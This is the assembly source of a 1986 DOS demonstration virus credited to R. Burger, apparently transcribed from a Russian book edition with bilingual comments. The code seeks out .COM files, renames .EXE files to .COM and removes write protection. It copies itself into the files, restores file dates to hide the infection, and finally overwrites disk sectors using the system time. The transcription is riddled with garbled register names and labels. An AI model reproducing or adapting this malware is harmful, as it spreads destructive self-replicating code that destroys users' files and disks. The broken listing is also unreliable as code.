;****************************************************************
; Programm Virus Ver.1.1
; Cpyright by R.Burger 1986
; Dies ist ein Demoprogramm fuer Computerviren
; Es hat die Eigenschaft sich selbst zu
; vervielfaeltigen
; und dadurch andere Programme zu verandern
;****************************************************************
; программа-вирус версия 1.1
; Автор Р. Бургер, 1986
; Это программа для демонстрации компьютерных вирусов.
; Она обладает свойством самостоятельно размножаться и
; изменять тем самым другие программы
;****************************************************************
Code Segment
Assum CS:Code
progr equ 100h
ORG progr
;****************************************************************
; Три операции nop служат "вирусу" в качестве байта
; идентификатора, по которому можно определить "вне-
; древние" вируса
;****************************************************************
MAIN:
nop
- 173 -
nop
nop
;*****************************************************************
; инициация указателя
;*****************************************************************
mov ax,00
mov ex:[pointer],ax
mov ex:[counter],ax
mov ex:[disks],ax
;*****************************************************************
; Запрос выбранного дисковода
;*****************************************************************
mov ax,19h ;drive? дисковод?
int 21h
;*****************************************************************
; Запрос актуального пути доступа к актуальному дисководу
;*****************************************************************
mov cs:drive,a1 ; сохранить дисковод
mov ah,47h ; dir каталог?
mov dh,0
add a1,1
mov d1,a1 ; на актуальный дисковод
lea si,cs:old_path
int 21h
;*****************************************************************
; Запрос числа имеющихся дисководов
; Если должен существовать лишь один дисковод, указатель
; последовательности доступа установить на searchorder+6
;*****************************************************************
mov ah,0eh ; имеется несколько дисков
mov d1,0 ;
int 21h
mov a1,01
cpm a1,01 ; один дисковод?
jns hups3
mov a1,06
hups3: mov ah,0
- 174 -
lea bx,search_order
add bx,ax
add bx,0001h
mov cs:pointer,bx
clc
;*****************************************************************
; Бит переноса устанавливается, если при поиске не найден ни
; один файл .СОМ. Затем, чтобы избежать ненужных затрат
; времени, файлы .ЕХЕ переименовываются в файлы .СОМ и "за-
; ражаются" вирусом. При запуске большой инфицированной
; программы .ЕХЕ, выдается сообщение: "Программа требует
; слишком много места в оперативной памяти"
;*****************************************************************
change_disc:
jnc no_name_change ; перевод exe в в.com
mov ah,17h
lea dx,cs:maske_exe
int 21h
cmp a1,0ffh
jnz no_name_change ; .EXE found? фйал .exe найден?
;*****************************************************************
; Если не найдены файлы .COM и .EXE, перезаписываются область,
; сектор в зависимости от системного времени в mc. Это момент
; полного "заражения" запоминающей среды. Для "наступления"
; вируса участков больше нет и вирус начинает разрушительную
; работу.
;*****************************************************************
mov ah,2ch ; считать системное время
int 21h
mov bx,cs:pointer
mov a1,cs:[bx]
mov bx,dx
mov cx,2
mov dh,0
int 26h ; записать на диск
;*****************************************************************
; Проверить, достигнут ли конец таблицы последовательности
; диска. Если да, завершить программу.
;*****************************************************************
- 175 -
no_name_change:
mov bx,cs:pointer
dec bx
mov cs:pointer,bx
mov dl,cs:[bx]
cmp dl,0ffh
jnz hups2
jnz hops
;*****************************************************************
; Выбрать новый дисковод из таблицы последовательности
; поиска и зафиксировать этот выбор
;*****************************************************************
hips2:
mov ah,0eh
int 21h ; поиск диска
;*****************************************************************
; Сначала начать с основного каталога
;*****************************************************************
mov ah,3bh ; путь доступа
lea dx,path
int 21h
jmp find_first_file
;*****************************************************************
; Начиная с основного каталога, вести поиск по первому
; подкаталогу. До этого все файлы.EXE ы старом каталоге
; преобразовать в СОМ-файлы.
;*****************************************************************
find_first_subdir:
mov ah,17h ; перевод файлов .ехе в .сом
lea dx,cs:maske_exe
int 21h
mov ah,3bh ; использовать основной каталог
lea dx,path
int 21h
mov ah,04eh ; поиск по первому подкаталогу
- 176 -
mov cx,00010001b ; каталог mask
lea dx,maske_dir ;
int 21h ;
jc change_disk
mov bx,CS:counter
INC BX
DEC bx
jz use_next_subdir
;*****************************************************************
; Поиск по следующим подкаталогам. Если других подкаталогов не
; найдено, сменить дисковод.
;*****************************************************************
find_next_subdir:
mov ah,4fh ; поиск по следующему каталогу
int 21h
jc change_disk
dec bx
jnz find_next_subdir:
;*****************************************************************
; Выбрать найденный каталог
;*****************************************************************
use_next_subdir:
mov ah,2fh ; прочитать адрес dta
int 21h
add bx,1ch
mov es:[bx], '\' ; адрес имени в таблице dta
inc bx
push ds
mov ax,es
mov ds,ax
mov dx,bx
mov ah,3bh ; путь доступа
int 21h
pop ds
mov bx,cs:pcounter,bx
inc bx
mov cs:counter,bx
- 177 -
;*****************************************************************
; Найти первый СОМ-файл в актуальном каталоге. Если файл не
; найден, искать в следующем каталоге.
;*****************************************************************
find_first_file
mov ah,04eh ; поиск по первой
mov cx,00000001b ; mask
lea dx,maske_com ;
int 21h ;
jc find_first_subdir
jmp check_if_ill
;*****************************************************************
; Если программа уже инфицирована, искать следующую программу
;*****************************************************************
find_next_file:
mov ah,4fh ; поиск следующего
int 21h
jc find_first_subdir:
;*****************************************************************
; Проверить "заражена" ли уже программа эти вирусом.
;*****************************************************************
check_if_ill:
mov ah,4fh ; открыть канал ввода/вывода
mov a1,02h ; чтение/запись
mov dx,9eh ; адрес имени в dta
int 21h
mov bx,ax ; сохранить состояние канала
; ввода/вывода
mov ah,3fh ; считать файл
mov cx,buflen ;
mov dx,buffer ; запись в буфер
int 21h
mov ah,3eh ; закрыть файл
int 21h
;*****************************************************************
; Здесь поиск ведется по трем операторам "вируса".
; Если такие операторы есть, инфекция уже существует. Затем
; продолжить поиск.
- 178 -
;*****************************************************************
mov bx,cs:buffer
cmp bx,9090h
jz find_next_file
;*****************************************************************
; Удалить возможно существующую защиту записи
;*****************************************************************
mov ah,43h ; разрешить запись
mov a1,0
mov dx,9eh ; адрес имени в таблице dta
int 21h
mov ah,43h
mov a1,01h
and cx,11111110b
int 21h
;*****************************************************************
; Открыть файл для чтения/записи
;*****************************************************************
mov ah,3dh ; открыть канал ввода/вывода
mov a1,02h ; чтение/запись
mov dx,9eh ; адрес имени в
int 21h
;*****************************************************************
; Считать запись даты файла и сохранить для дальнейшего ее
; использования.
;*****************************************************************
mov bx,ax ; канал ввода/вывода
mov ah,57h ; считать значение даты
mov a1,0
int 21h
push cx ; сохранить дату
push dx
;*****************************************************************
; Безусловный переход, записанный по адресу 0100h программы,
; также сохраняется для дальнейшего использования.
;*****************************************************************
mov dx,cs: conta ; сохранить прежний безусловный
mov cs:jmpbuf,dx ; переход
- 179 -
mov dx,cs: buffer+1 ; сохранить новый переход
lea cx,cont-100h
sub dx,cx
mov cs: conta,dx
;*****************************************************************
; "Вирус" копирует сам себя в начало файла
;*****************************************************************
mov ah,40h ; запись вируса
mov cx,buflen ; длина буфера
lea dx,main ; запись вируса
int 21h
;*****************************************************************
; Вновь записывается прежняя дата создания файла.
;*****************************************************************
mov ah,57h ; запись даты